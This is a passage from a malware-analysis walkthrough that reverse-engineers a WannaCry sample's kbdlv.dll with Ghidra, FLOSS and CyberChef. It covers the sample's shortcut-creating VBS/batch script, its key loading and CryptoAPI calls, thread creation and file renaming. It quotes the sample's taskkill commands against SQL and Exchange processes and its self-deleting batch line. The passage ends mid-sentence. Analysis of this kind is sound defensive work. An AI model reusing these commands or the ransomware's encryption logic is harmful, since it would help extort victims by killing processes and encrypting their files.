This is yet another payload that needs to be analyzed. Opening it with pestudio shows that it is a DLL with the original name kbdlv.dll, which is the name of the Latvian Keyboard Layout driver. However, the analysis of kbdlv.dll is deferred; at this point the role of t.wnry is understood.
The last file from the original list of files is f.wnry. Opening it with Notepad shows a path: C:\Users\REM\AppData\Local\Programs\Microsoft VS Code\resources\app\licenses\LICENSE-fra.rtf.WNCRY. Looking at the directory, there are a few files with the same extension, just different languages:
LICENSE-bul.rtf.WNCRYLICENSE-chs.rtf.WNCRYLICENSE-cht.rtf.WNCRYLICENSE-deu.rtf.WNCRYLICENSE-fra.rtf.WNCRYLICENSE-esp.rtf.WNCRYLICENSE-ita.rtf.WNCRYLICENSE-hun.rtf.WNCRYLICENSE-jpn.rtf.WNCRYLICENSE-kor.rtf.WNCRYLICENSE-ptb.rtf.WNCRYLICENSE-rus.rtf.WNCRYLICENSE-trk.rtf.WNCRY
In a clean installation of Windows with VS Code, these files are present without the WNCRY extension. They therefore do not seem to provide any direct purpose to the sample itself.
Question 17, Question 13 and Question 14
A common first step when dealing with .dll files is to see which functions they export via pestudio. In this case, on pestudio’s export page, only one function is exported and has the name TaskStart. In the tasksche.exe decompiled code this function is used:
00402145 68 e8 f4 PUSH s_TaskStart_0040f4e8 = "TaskStart" 40 000040214a 50 PUSH EAX0040214b e8 d4 07 CALL FUN_00402924 undefined FUN_00402924(undefined 00 0000402150 59 POP ECX00402151 3b c3 CMP EAX ,EBX00402153 59 POP ECX00402154 74 04 JZ LAB_0040215a00402156 53 PUSH EBX00402157 53 PUSH EBX00402158 ff d0 CALL EAXThe usual approach continues with FLOSS output filtered to a 12-character minimum. A few interesting strings appear.
Firstly, the strings below answer one of the earlier questions: what m.vbs is. It appeared when the analysis started but no clear traces were found until now.
echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbsChecking references of the address that stores the string above (the entire block is a single string in a single variable; searching for WScript in the “Defined Strings” view in Ghidra is sufficient) shows three addresses where it is used:
10004d1110004d1d10004d29
Given how close they are to each other, any of them leads to the same function, just a few lines apart. In any case the navigation reaches FUN_10004cd0. Analysing it briefly, it starts by copying u.wnry into WanaDecryptor.exe:
10004ceb PUSH s_@WanaDecryptor@.exe_1000d5c4 LPCSTR lpNewFileName for CopyFileA10004cf0 PUSH s_u.wnry_1000d704 LPCSTR lpExistingFileName for CopyFileA10004cf5 CALL dword ptr [-> KERNEL32.DLL::CopyFileA ] = 0000b486It then proceeds with checking if the file exists using GetFileAttributesW 23, which fails if the file is not present. This is checked by comparing EAX (the return value of the function) and -0x1 (-1). If they are the same, execution continues to reading the VBS script.
10004cfb PUSH u_@WanaDecryptor@.exe.lnk_1000cc44 LPCWSTR lpFileName for GetFileAttributesW10004d00 CALL ESI => KERNEL32.DLL::GetFileAttributesW10004d02 CMP EAX ,-0x110004d05 JNZ LAB_10004dd910004d0b PUSH EDI10004d0c MOV ECX ,0x3610004d11 MOV ESI ,s_@echo_off_echo_SET_ow_=_WScript._1000d628 = »@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortc10004d16 LEA EDI => local_4c4 ,[ESP + 0x210 ]After that, up to the end, there are several operations that are not immediately obvious. The sprintf at the end is easier to interpret:
10004d9e LEA EAX => local_6cc ,[ESP + 0x8 ]10004da2 PUSH s_@WanaDecryptor@.exe_1000d5c4 = "@WanaDecryptor@.exe"10004da7 PUSH EAX10004da8 LEA ECX => local_6cc ,[ESP + 0x10 ]10004dac PUSH s_@WanaDecryptor@.exe.lnk_1000d60c = "@WanaDecryptor@.exe.lnk"10004db1 LEA EDX => local_4c4 ,[ESP + 0x21c ]10004db8 PUSH ECX10004db9 LEA EAX => local_3e8 ,[ESP + 0x2fc ]10004dc0 PUSH EDX char * _Format for sprintf10004dc1 PUSH EAX char * _Dest for sprintf10004dc2 CALL dword ptr [-> MSVCRT.DLL::sprintf ] = 0000b74csprintf has the following parameters:
int sprintf( char *buffer, const char *format [, argument] ...);The arguments are the placeholders for the format string. In the code the function is called with the following arguments:
buffer: (destination) storage location for output. In the code this isEAX,local_3e8.format: format-control string. In the code this isEDX(local_4c4).arg1:ECX,local_6ccarg2: the string@WanaDecryptor@.exe.lnkarg3: againlocal_6ccarg4: the string@WanaDecryptor@.exe
To understand the variable values it is easier to work backwards from the first one. local_3e8 has not been previously set and will be filled by sprintf.
local_4c4 is the template string, and its value can be derived from the following code, where the pointer to the string is copied into ESI and then from ESI into local_4c4 (EDI):
10004d0c MOV ECX ,0x3610004d11 MOV ESI ,s_@echo_off_echo_SET_ow_=_WScript._1000d628 = »@echo off10004d16 LEA EDI => local_4c4 ,[ESP + 0x210 ]10004d1d MOVSD.REP ES :EDI ,ESI => s_@echo_off_echo_SET_ow_=_WScript._1000d628 = »@echo offlocal_6cc is the result (lpBuffer) of GetCurrentDirectory 24:
10004d3a LEA ECX => local_6cc ,[ESP + 0x8 ]10004d3e PUSH ECX LPSTR lpBuffer for GetCurrentDirectoryA10004d3f PUSH 0x208 DWORD nBufferLength for GetCurrentDirectoryA10004d44 STOSB ES :EDI10004d45 CALL dword ptr [-> KERNEL32.DLL::GetCurrentDirectoryA ] = 0000b272The final script, reconstructed from these pieces, is:
echo SET ow = WScript.CreateObject("WScript.Shell")echo SET om = ow.CreateShortcut("<currentDirectory>/@WanaDecryptor@.exe.lnk")echo om.TargetPath = "<currentDirectory>/@WanaDecryptor@.exe"echo om.SaveThis, plus the deletion of m.vbs, is stored in local_3e8, which is then used in the next call:
10004dc8 LEA ECX => local_3e8 ,[ESP + 0x304 ]10004dcf PUSH ECX10004dd0 CALL FUN_10001140 undefined FUN_10001140(undefined4 param_1)FUN_10001140 is straightforward. It starts by generating a random number to use as the filename for a .bat file, then saves the content of param_1 (the VBS script just analysed) to that file. It then calls FUN_10001080 with the name of the file as first parameter (local_104 is populated with sprintf).
_Seed = GetTickCount(); srand(_Seed);
tVar3 = time((time_t *)0x0); uVar1 = (undefined4)tVar3; iVar2 = rand();
sprintf(local_104,s_%d%d.bat_1000c034,iVar2,uVar1); _File = fopen(local_104,(char *)&_Mode_1000c030); if (_File == (FILE *)0x0) { return; } fprintf(_File,s_%s_del_/a_%%0_1000c020,param_1); fclose(_File); FUN_10001080(local_104,0,(LPDWORD)0x0);FUN_10001080 is the last call needed to understand this flow. The expectation is that it executes the file, which is confirmed by the code:
100010b9 MOV EAX ,dword ptr [ESP + param_1 ]100010bd PUSH ESI BOOL bInheritHandles for CreateProcessA100010be PUSH ESI LPSECURITY_ATTRIBUTES lpThreadAttributes for CreateProcessA100010bf PUSH ESI LPSECURITY_ATTRIBUTES lpProcessAttributes for CreateProcessA100010c0 PUSH EAX LPSTR lpCommandLine for CreateProcessA100010c1 PUSH ESI LPCSTR lpApplicationName for CreateProcessA100010c2 MOV dword ptr [ESP + local_54 ],ESI100010c6 MOV dword ptr [ESP + local_18 ],0x1100010ce MOV word ptr [ESP + local_14 ],SI
100010d3 CALL dword ptr [-> KERNEL32.DLL::CreateProcessA ] = 0000b1e2100010d9 TEST EAX ,EAX100010db JZ LAB_10001135100010dd MOV EAX ,dword ptr [ESP + param_2 ]100010e1 CMP EAX ,ESI100010e3 JZ LAB_10001116100010e5 MOV ECX => local_54 ,dword ptr [ESP + 0x8 ]100010e9 PUSH EAX DWORD dwMilliseconds for WaitForSingleObject100010ea PUSH ECX HANDLE hHandle for WaitForSingleObject100010eb CALL dword ptr [-> KERNEL32.DLL::WaitForSingleObject ] = 0000b1ccCreateProcessA 13 executes the lpCommandLine argument, which is assigned from param_1 via EAX. Then WaitForSingleObject 25 pauses the main thread until the new process is completed.
There are two other notable string blocks in kbdlv.dll: the first for killing SQL and Exchange processes:
md.exe /c start /b %s vstaskkill.exe /f /im mysqld.exetaskkill.exe /f /im sqlwriter.exetaskkill.exe /f /im sqlserver.exetaskkill.exe /f /im MSExchange*taskkill.exe /f /im Microsoft.Exchange.*and the second mentioning a Mutex, which is probably created by the sample (to learn more about Mutexes, see Mutex):
Global\MsWinZonesCacheCounterMutexASince the decompiled code is already under review, it is reasonable to skip further basic static and dynamic phases and proceed directly through the code. The purpose here is to understand at a high level what the TaskStart function is doing, not to detail every implementation nuance. If some behaviours prove interesting, they can be revisited in more depth. For now, the focus is on the various Microsoft API calls, opening each function, scanning the CALL statements, and renaming accordingly.
Starting with the first two Windows API calls:
10005b45 CALL dword ptr [-> KERNEL32.DLL::GetModuleFileNameW ] = 0000b59e10005b4b MOV ESI ,dword ptr [-> MSVCRT.DLL::wcsrchr ] = 0000b7f210005b51 LEA EAX => local_214 ,[ESP + 0x10 ]... skipped lines ...10005b70 LEA EDX => local_214 ,[ESP + 0x10 ]10005b74 PUSH EDX LPCWSTR lpPathName for SetCurrentDirectoryW10005b75 CALL dword ptr [-> KERNEL32.DLL::SetCurrentDirectoryW ] = 0000b586They respectively retrieve the full path of the module (DLL) and set the current working directory to that path, saved in local_214 using GetModuleFileNameW 26 and SetCurrentDirectoryW 27.
FUN_10001000 is then called, which opens, reads and writes to c.wnry:
10001016 PUSH s_c.wnry_1000c010 char * _Filename for fopen1000101b CALL dword ptr [-> MSVCRT.DLL::fopen ] = 0000b73a... skipped lines ...1000103b CALL dword ptr [-> MSVCRT.DLL::fread ] = 0000b73210001041 JMP LAB_1000104e LAB_10001043 XREF[1]: 10001034 (j)10001043 MOV ECX ,dword ptr [ESP + param_1 ]10001047 PUSH ECX void * _Str for fwrite10001048 CALL dword ptr [-> MSVCRT.DLL::fwrite ] = 0000b728This function is renamed c_wnry_ops.
FUN_100012d0 is then executed; it is a simple if/else statement controlled by the result of FUN_100011d0.
If FUN_100011d0 returns 0, it takes the current user via GetUserName 28 and compares it with SYSTEM:
10001321 CALL dword ptr [-> ADVAPI32.DLL::GetUserNameW ] = 0000b61010001327 LEA EDX => local_258 ,[ESP + 0x4 ]1000132b PUSH u_SYSTEM_1000c068 wchar_t * _Str2 for _wcsicmp10001330 PUSH EDX wchar_t * _Str1 for _wcsicmp10001331 CALL dword ptr [-> MSVCRT.DLL::_wcsicmp ] = 0000bb9eOtherwise it compares the SID S-1-5-18, the SECURITY_LOCAL_SYSTEM_RID ID 29 with the variable local_258, which is defined dynamically at the beginning of the function:
10001303 LEA EDX => local_258 ,[ESP + 0x4 ]10001307 PUSH EDX10001308 PUSH u_S-1-5-18_1000c078 = u"S-1-5-18"1000130d JMP LAB_10001331If either comparison is true, the function returns 1, otherwise 0. This function is renamed running_as_admin. The internal function FUN_100011d0 is essentially trying to obtain the SID of the user running the current process. To do so it loads the process using GetCurrentProcess 30, then checks the access token for the associated user using GetTokenInformation 31 and converts it to a string using the s_ConvertSidToStringSidW_1000c040 string, which represents the ConvertSidToStringSid module 32 dynamically loaded via LoadLibrary. For more about dynamic loading, see the Load Library page.
GetTokenInformation is called twice, which is typical for some Windows APIs (see the learn section Intro To Windows API):
100011d4 LEA EAX => local_8 ,[ESP + 0x8 ]100011da PUSH 0x8 DWORD DesiredAccess for OpenProcessToken100011dc MOV dword ptr [ESP + local_c ],0x0100011e4 CALL dword ptr [-> KERNEL32.DLL::GetCurrentProcess ] = 0000b252100011eb CALL dword ptr [-> ADVAPI32.DLL::OpenProcessToken ] = 0000b5fc100011f1 TEST EAX ,EAX100011f3 JNZ LAB_100011fb100011fa RET10001209 LEA ECX => local_c ,[ESP + 0x8 ]10001214 CALL EDI => ADVAPI32.DLL::GetTokenInformation10001216 TEST EAX ,EAX10001218 JNZ LAB_1000122d1000121a CALL dword ptr [-> KERNEL32.DLL::GetLastError ] = 0000b24210001220 CMP EAX ,0x7a10001223 JZ LAB_1000122d10001226 XOR EAX ,EAX1000122c RET10001234 CALL dword ptr [-> KERNEL32.DLL::GlobalAlloc ] = 0000b23410001244 LEA EDX => local_c ,[ESP + 0x8 ]1000124e CALL EDI => ADVAPI32.DLL::GetTokenInformation10001250 TEST EAX ,EAX10001252 JNZ LAB_1000125a10001259 RET1000125f CALL dword ptr [-> KERNEL32.DLL::LoadLibraryA ] = 0000b22410001265 TEST EAX ,EAX10001267 JNZ LAB_1000126f1000126e RET10001275 CALL dword ptr [-> KERNEL32.DLL::GetProcAddress ] = 0000b2121000127b TEST EAX ,EAX1000127d JNZ LAB_1000128510001284 RET LAB_10001285 XREF[1]: 1000127d (j)10001285 MOV dword ptr [ESP + local_4 ],0x01000128d MOV ECX ,dword ptr [ESI ]1000128f LEA EDX => local_4 ,[ESP + 0x10 ]10001295 CALL EAX10001297 TEST EAX ,EAX10001299 JNZ LAB_100012a1100012a0 RETThis function is renamed get_sid.
Next, FUN_10003410 is called. It dynamically loads all the file operations available in kernel32.dll:
10003458 MOV [DAT_1000d91c ],EAX1000345d CALL EDI => KERNEL32.DLL::GetProcAddress1000345f PUSH s_ReadFile_1000cf0c LPCSTR lpProcName for GetProcAddressThis is done for read, write, move, create and delete file operations. The function is renamed file_api_loads. All the DAT_ entries are also renamed to the corresponding operations:
DAT_CreateFile = GetProcAddress(hModule,s_CreateFileW_1000cf24);DAT_WriteFile = GetProcAddress(hModule,s_WriteFile_1000cf18);DAT_ReadFile = GetProcAddress(hModule,s_ReadFile_1000cf0c);DAT_MoveFile = GetProcAddress(hModule,s_MoveFileW_1000cf00);DAT_MoveFileEx = GetProcAddress(hModule,s_MoveFileExW_1000cef4);DAT_DeleteFile = GetProcAddress(hModule,s_DeleteFileW_1000cee8);DAT_CloseHandle = GetProcAddress(hModule,s_CloseHandle_1000cedc);The DAT_ prefix is kept to indicate that these were loaded dynamically.
If loading the above functions succeeds, the names of three files are prepared:
10005bb0 PUSH s_%08X.res_1000d8c0 char * _Format for sprintf10005bb5 PUSH _Dest_1000dcf0 char * _Dest for sprintf10005bba CALL ESI => MSVCRT.DLL::sprintfThese files have been seen before but their exact use was not yet clear:
- 00000000.eky
- 00000000.pky
- 00000000.res
The _Dest variables are renamed to _Dest_FilePath.eky and similar, to make later usage easier to track.
FUN_10004600 is called next, which simply opens or creates the global mutex s_Global\MsWinZonesCacheCounterMut_1000d520:
10004604 PUSH s_Global\MsWinZonesCacheCounterMut_1000d520 LPCSTR lpName for OpenMutexA10004609 PUSH 0x1 BOOL bInheritHandle for OpenMutexA1000460b PUSH 0x100000 DWORD dwDesiredAccess for OpenMutexA10004610 CALL dword ptr [-> KERNEL32.DLL::OpenMutexA ] = 0000b464... skipping lines ...10004634 PUSH s_Global\MsWinZonesCacheCounterMut_1000d4fc = "Global\\MsWinZonesCacheCounterMutexA"10004639 PUSH _Format_1000d4f4 char * _Format for sprintf1000463e PUSH ECX char * _Dest for sprintf1000463f CALL dword ptr [-> MSVCRT.DLL::sprintf ] = 0000b74c10004645 ADD ESP ,0x1010004648 LEA EDX => local_64 ,[ESP + 0x4 ]1000464c PUSH EDX LPCSTR lpName for CreateMutexA1000464d PUSH 0x1 BOOL bInitialOwner for CreateMutexA1000464f PUSH 0x0 LPSECURITY_ATTRIBUTES lpMutexAttributes for CreateMutexA10004651 CALL dword ptr [-> KERNEL32.DLL::CreateMutexA ] = 0000b454This function is renamed manage_mutex.
Once the mutex is created, FUN_10004500 is called. This function contains three subfunctions:
FUN_10003a10→ this only callsInitializeCriticalSection33 and is renamedinit_critical_section. A critical section is a section where more than one thread might need access and is protected by a critical section object that behaves like a mutex.FUN_10003a60→ this only callsDeleteCriticalSection34 and is renameddelete_critical_section.FUN_10003d10→ this function is called beforedelete_critical_section. It is called with three parameters: the handle to the critical section object, the_Dest_FilePath.pkystring and the strings_%08X.dky_1000d4e8, which is passed vialocal_40:
1000451c LEA ECX => local_40 ,[ESP + 0x28 ]10004520 PUSH ESI10004521 PUSH EAX10004522 PUSH s_%08X.dky_1000d4e8 char * _Format for sprintf10004527 PUSH ECX char * _Dest for sprintf10004528 CALL dword ptr [-> MSVCRT.DLL::sprintf ] = 0000b74cThis function is doing a lot of work, given the number of functions it calls. The first call is FUN_10003a80, which is short but initially opaque:
LAB_10003a87 XREF[1]: 10003aab (j)10003a87 MOV EAX ,ESI10003a89 PUSH 0xf000000010003a8e NEG EAX10003a90 SBB EAX ,EAX10003a92 PUSH 0x1810003a94 AND EAX ,s_Microsoft_Enhanced_RSA_and_AES_C_1000d168 = "Microsoft Enhanced RSA and AES Cryptographic Provider"10003a99 PUSH EAX10003a9a PUSH 0x010003a9c PUSH EDI10003a9d CALL dword ptr [DAT_1000d93c ]10003aa3 TEST EAX ,EAX10003aa5 JNZ LAB_10003ab010003aa7 INC ESI10003aa8 CMP ESI ,0x210003aab JL LAB_10003a8710003aad POP EDI10003aae POP ESIIt calls a DAT_ variable, which indicates a function initialized elsewhere. Double‑clicking on it takes you to its reference:
DAT_1000d93c XREF[4]: FUN_10003a80:10003a9d (R) , FUN_10004440:10004440 (R) , FUN_10004440:1000447b (W) , FUN_10004440:100044b6 (R) 1000d93c undefined4 00000000hNote that in function FUN_10004440 it is defined. Double-clicking on the function name shows a series of defined variables:
DAT_1000d93c = GetProcAddress(hModule,s_CryptAcquireContextA_1000d1f8);DAT_1000d940 = GetProcAddress(hModule,s_CryptImportKey_1000d1e8);DAT_1000d944 = GetProcAddress(hModule,s_CryptDestroyKey_1000d1d8);DAT_1000d948 = GetProcAddress(hModule,s_CryptEncrypt_1000d1c8);DAT_1000d94c = GetProcAddress(hModule,s_CryptDecrypt_1000d1b8);DAT_1000d950 = GetProcAddress(hModule,s_CryptGenKey_1000d1ac);I have renamed the DAT_ variables to DAT_<apicallname> and the function to init_crypt_funcs.
And so, FUN_10003a80 calls DAT_CryptAcquireContext and so I renamed it call_crypt_acquirecontext.
After this, function FUN_10003f00 is called, with first argument _Dest_FilePath.pky. This function opens, reads and uses it with DAT_CryptImportKey. Googling what a .pky file extension is, it seems to be a security certificate for PockeTTY 37. The function can then be renamed to load_cryptkey_from_pky.
This function is called twice, first with the .pky and the second time, if the first fails, using the .dky file.
Once the key has been loaded it is tested, using CryptEncrypt followed by CrytpDecrypt. If the encryption or decryption fails, the function returns 0. Otherwise the decrypted value is compared with local_228 which is TESTDATA:
10003e13 LEA this => local_22c ,[EBP + 0xfffffdd8 ]10003e1a LEA EDX => local_21c ,[EBP + 0xfffffde8 ]10003e27 MOV EAX ,dword ptr [EBX + 0x8 ]10003e2b CALL dword ptr [DAT_CryptEncrypt ]10003e31 TEST EAX ,EAX LAB_10003e43 XREF[2]: 10003da0 (j) , 10003ee0 (j)10003e43 XOR EAX ,EAX10003e55 RET 0x8 LAB_10003e58 XREF[1]: 10003e33 (j)10003e58 LEA EDX => local_22c ,[EBP + 0xfffffdd8 ]10003e5f LEA EAX => local_21c ,[EBP + 0xfffffde8 ]10003e6c MOV this ,dword ptr [EBX + 0xc ]10003e70 CALL dword ptr [DAT_CryptDecrypt ]10003e76 TEST EAX ,EAX10003e78 JNZ LAB_10003e82 LAB_10003e82 XREF[1]: 10003e78 (j)10003e82 LEA EDI => local_228 ,[EBP + 0xfffffddc ]10003e88 OR this ,0xffffffff10003e8b XOR EAX ,EAX10003e8d SCASB.REPNE ES :EDI10003e8f NOT this10003e91 DEC this10003e93 LEA EAX => local_228 ,[EBP + 0xfffffddc ]10003e9a LEA this => local_21c ,[EBP + 0xfffffde8 ]10003ea1 CALL dword ptr [-> MSVCRT.DLL::strncmp ] = 0000b81a10003eaa TEST EAX ,EAX10003eac JNZ LAB_10003ed410003eb0 LEA EDX => local_14 ,[EBP + -0x10 ]10003eb4 CALL MSVCRT.DLL::_local_unwind2 undefined _local_unwind2()10003ebc MOV EAX ,0x110003ec4 MOV dword ptr FS :[0x0 ]=> ExceptionList ,this = 0000000010003ed1 RET 0x8 LAB_10003ed4 XREF[1]: 10003eac (j)10003ed4 MOV dword ptr [EBP + local_8 ],0xffffffff10003edb CALL FUN_10003ef6 undefined FUN_10003ef6(void)I have then renamed the function FUN_10003d10 as load_crypt_key, and FUN_10004500 as safe_load_crypt_key to explain that it is the wrapper around load_crypt_key with the added safety of InitializeCriticalSection.
The next function that is called is FUN_10003ac0, which calls a couple of other functions:
FUN_10003c00which has been renamed todestroy_key_and_load_key_pkyFUN_10004350which has been renamed tocall_CryptGenKeyFUN_10004040since it callsCryptExportKeyand file operations likeCreateFileandWriteFileI will rename itcrypt_and_write_fileFUN_10003c40which callsFUN_10004170. Looking at it, it shows the usual math-like operations, hence it is renamedmath_opsandFUN_10003c40is renamedmath_and_write_filesince it callsCreateFileandWriteFile. If analysis later needs to dive into those functions and they require deeper work, it can be done then.
As a summary, FUN_10003ac0 is crypt_and_file_ops.
Moving on in TaskStart, the function FUN_100046d0 is called which opens and reads _FilePath.res:
100046e1 PUSH _FilePath.res LPCSTR lpFileName for CreateFileA100046e6 CALL dword ptr [-> KERNEL32.DLL::CreateFileA ] = 0000b416... skipped lines ...10004712 CALL dword ptr [-> KERNEL32.DLL::ReadFile ] = 0000b424The function is renamed read_filepath_res. The file is then deleted outside the function:
10005c61 PUSH _FilePath.res LPCSTR lpFileName for DeleteFileA10005c66 CALL dword ptr [-> KERNEL32.DLL::DeleteFileA ] = 0000b578And the function FUN_10004420 is called, which only calls CryptGenRandom 35, which fills a buffer of randomly generated bytes. The buffer is the second argument of the function, which is lpBuffer_1000dc68 (which is renamed to crypt_random_data):
10005c7c PUSH lpBuffer_1000dc68 = 0000000010005c81 MOV ECX ,ESI10005c83 MOV dword ptr [DAT_1000dc70 ],EBX10005c89 CALL fun_CryptGenRandom undefined fun_CryptGenRandom(void * this, BYTE * param_1, DWORD param_2)The reason why there is no PUSH for the first argument is because this is a this call, a convention used in C++ in which the first argument (the this argument) is passed via ECX. See the Intro To Windows API to learn more.
FUN_10003bb0 calls CryptReleaseContext 36, which is a function used to free up all the cryptographic-related resources that are no longer needed. The function is renamed to fun_cryptreleasecontext.
Lastly, the function repeatedly calls CreateThread which executes the function defined at the pointer of the third argument lpStartAddress.
10005c9e MOV ESI ,dword ptr [-> KERNEL32.DLL::CreateThread ] = 0000b2b610005ca4 PUSH EBX LPDWORD lpThreadId for CreateThread10005ca5 PUSH EBX DWORD dwCreationFlags for CreateThread10005ca6 PUSH EBX LPVOID lpParameter for CreateThread10005ca7 PUSH lpStartAddress_10004790 LPTHREAD_START_ROUTINE lpStartAddress for CreateThread10005cac PUSH EBX SIZE_T dwStackSize for CreateThread10005cad PUSH EBX LPSECURITY_ATTRIBUTES lpThreadAttributes for CreateThread10005cae CALL ESI => KERNEL32.DLL::CreateThread10005cb0 MOV EBP ,dword ptr [-> KERNEL32.DLL::CloseHandle ] = 0000b19410005cb6 CMP EAX ,EBX10005cb8 JZ LAB_10005cbd10005cba PUSH EAX HANDLE hObject for CloseHandle10005cbb CALL EBP => KERNEL32.DLL::CloseHandle LAB_10005cbd XREF[1]: 10005cb8 (j)10005cbd MOV EDI ,dword ptr [-> KERNEL32.DLL::Sleep ] = 0000b3ce10005cc3 PUSH 0x64 DWORD dwMilliseconds for Sleep10005cc5 CALL EDI => KERNEL32.DLL::SleepAfter that there is a sleep of 100 ms to wait for the thread to run.
Each call to CreateThread uses a different address; below they are reported in order:
lpStartAddress_10004790this address seems to contain assembly code in the form of hexadecimal. And this is just a guess. These are the first few bytes and53,56and57are the representation ofPUSH EBX,PUSH ESIandPUSH EDI.
10004795 ?? 53h S10004796 ?? 56h V10004797 ?? 57h W10004798 ?? 85hSo what can be done is to take all the hexadecimal, load them in CyberChef with the operation “Disassemble x86” with the default parameters except for “Bit mode” set to 32, and the result is:
00000000 53 PUSH EBX00000001 56 PUSH ESI00000002 57 PUSH EDI00000003 85C0 TEST EAX,EAX00000005 753E JNE 0000004500000007 8B1D60710010 MOV EBX,DWORD PTR [1000716D]0000000D 8B3D70700010 MOV EDI,DWORD PTR [10007083]00000013 6A00 PUSH 0000000000000015 FFD3 CALL EBX00000017 83C404 ADD ESP,000000040000001A A3DCDC0010 MOV DWORD PTR [1000DCDC],EAX0000001F E877FFFFFF CALL 00000-6500000024 33F6 XOR ESI,ESI00000026 A190DD0010 MOV EAX,DWORD PTR [1000DD90]0000002B 85C0 TEST EAX,EAX0000002D 7516 JNE 000000450000002F 68E8030000 PUSH 000003E800000034 FFD7 CALL EDI00000036 46 INC ESI00000037 83FE19 CMP ESI,000000190000003A 7CEA JL 000000260000003C A190DD0010 MOV EAX,DWORD PTR [1000DD90]00000041 85C0 TEST EAX,EAX00000043 74CE JE 0000001300000045 6A00 PUSH 0000000000000047 FF1564700010 CALL DWORD PTR [100070B1]0000004D 5F POP EDI0000004E 5E POP ESI0000004F 5B POP EBX00000050 90 NOP00000051 90 NOP00000052 90 NOP00000053 90 NOP00000054 90 NOPFor each of the CALL instructions the pointer can be checked; it should point to a function. In Ghidra, clicking anywhere on the screen and pressing “g” opens the “Go To” window; typing the address and going to the related address shows:
1000716Dpoints toMSVCRT.dll:wcscat10007083points tokernel32.dll:WriteFile1000DCDCpoints to an empty space, which makes sense, since in this case the address is not called but written into:MOV DWORD PTR [1000DCDC],EAX1000DD90points to an empty space10007083points tokernel32.dll:DeleteFileW
So the address lpStartAddress_10004790 is renamed to write_and_delete_file.
lpStartAddress_100045c0→ callssafe_load_crypt_key; the address is renamed asaddr_safe_load_crypt_key.lpStartAddress_10005730→ this seems like an interesting function, since it starts by callingGetLogicalDrivesto then start a new thread for each loop. This function is analyzed shortly.lpStartAddress_10005300→ callsrun_batwithtaskdl.exeas argument, renamed asaddr_run_taskdl.exelpStartAddress_10004990→ this looks promising in terms of functionalities as well, it mentionsc_wnry_opsandtasksche.exe.
lpStartAddress_10005730 after calling GetLogicalDrives then starts a loop on DAT_1000dd8c:
10005765 MOV EAX ,[DAT_1000dd8c ]1000576a TEST EAX ,EAX1000576c JNZ LAB_100057afWithin the loop it runs a new thread at each iteration with target lpStartAddress_10005680. This function calls a series of other functions. First FUN_10001590, which seems to be initializing a lot of variables like the code below, where EDI is set to 0 and then each index of ESI is set to EDI.
100015b8 XOR EDI ,EDI100015ba LEA param_1 ,[ESI + 0x2c ]100015bd MOV dword ptr [ESP + local_4 ],EDI100015c1 CALL init_critical_section undefined4 * init_critical_section(undefined4 * param_1)100015c6 LEA param_1 ,[ESI + 0x54 ]100015c9 MOV byte ptr [ESP + local_4 ],0x1100015ce CALL FUN_10005d80 undefined FUN_10005d80(undefined4 * param_1)100015d3 MOV AL ,byte ptr [ESP + local_11 ]100015d7 MOV dword ptr [ESI + 0x4c8 ],EDI100015dd MOV dword ptr [ESI + 0x4cc ],EDI100015e3 MOV dword ptr [ESI + 0x4d0 ],EDI100015e9 MOV dword ptr [ESI + 0x4d4 ],EDIFor now it is renamed as initializer. One thing to note though is that this function is setting a lot of components of param_1, which looks like a struct for some object. This is used a lot in the next function; however, the composition is not clear. From this point, some details might be lost, since it becomes harder to track what is going on in certain places.
Then the function FUN_10001830 is called:
100056a4 PUSH DAT_1000dd8c100056a9 PUSH LAB_10005340100056ae PUSH _Dest_FilePath.pky = 00000000100056b3 LEA ECX => local_930 ,[ESP + 0xc ]100056b7 MOV dword ptr [ESP + local_4 ],0x0100056c2 CALL FUN_10001830 undefined4 FUN_10001830(void * this, LPCSTR param_1, undefined4 param_2, undefined4 param_3)Note the local_930 variable, which is assigned to ECX just before the call to the function, meaning it will be the this value.
The function creates a new thread as well, this time pointing at lpStartAddress_100029e0. This address calls FUN_100029f0, still with the above-mentioned structure as parameter. This function seems to rename files:
10002ab1 PUSH u_.WNCRYT_1000cbc8 = u".WNCRYT"10002ab6 LEA EDX ,[ESI + 0x504 ]10002abc PUSH EAX10002abd PUSH EDX wchar_t * _Format for swprintf10002abe LEA param_1 ,[EAX + 0x1 ]10002ac1 PUSH u_%s\%d%s_1000cbb8 size_t _Count for swprintf10002ac6 PUSH EBP wchar_t * _String for swprintf10002ac7 MOV dword ptr [ESI + 0x914 ],param_110002acd CALL dword ptr [-> MSVCRT.DLL::swprintf ] = 0000b7c010002ad3 ADD ESP ,0x1410002ad6 PUSH 0x110002ad8 PUSH EBP10002ad9 PUSH EDI10002ada CALL dword ptr [DAT_MoveFileEx ]It renames the file only if param_1 + 0x70c is not empty. This can be seen below, where param_1 + 0x70c (ESI) is moved to EBP and then EBP is pushed on the stack before the strlen call. If the return value is less than or equal to 0 (JBE) then the MoveFile is triggered, otherwise it tries to delete the file.
10002a48 LEA EBP ,[ESI + 0x70c ]
10002a4e MOV EAX ,dword ptr [ESI + 0x4e4 ]10002a54 MOV EDI ,dword ptr [-> MSVCP60.DLL::`private:_static_unsigned_short_const*___cdecl_std = 0000b99210002a5a MOV EAX ,dword ptr [EAX ]10002a5c ADD EAX ,0x810002a5f MOV EAX ,dword ptr [EAX + 0x4 ]10002a62 CMP EAX ,EBX10002a64 JZ LAB_10002a6810002a66 MOV EDI ,EAX
10002a68 PUSH EBP wchar_t * _Str for wcslen10002a69 CALL dword ptr [-> MSVCRT.DLL::wcslen ] = 0000b78210002a6f ADD ESP ,0x410002a72 TEST EAX ,EAX10002a74 JBE LAB_10002ae410002a76 PUSH 0x1This function is renamed to wncryt_rename_or_delete, the address lpStartAddress_10005680 is renamed to addr_wncryt_rename_or_delete and the function FUN_10001830 (which is the caller of the address just renamed) is renamed crypt_and_wncryt.
Next is the call to FUN_10001680. It starts by calling FUN_10001760, which is renamed destructor as it calls only GlobalFree and CryptReleaseContext to free up resources. At the end it calls FUN_10005db0 which is renamed to register_func_in_param_1, since that appears to be the only thing that it does:
10005db0 MOV dword ptr [param_1 ],PTR_FUN_1000acbc = 10005d90The function pointed to is a function not very clear, since it contains:
1000acbc addr FUN_10005d901000acc0 addr DAT_1000acf8and the first function contains:
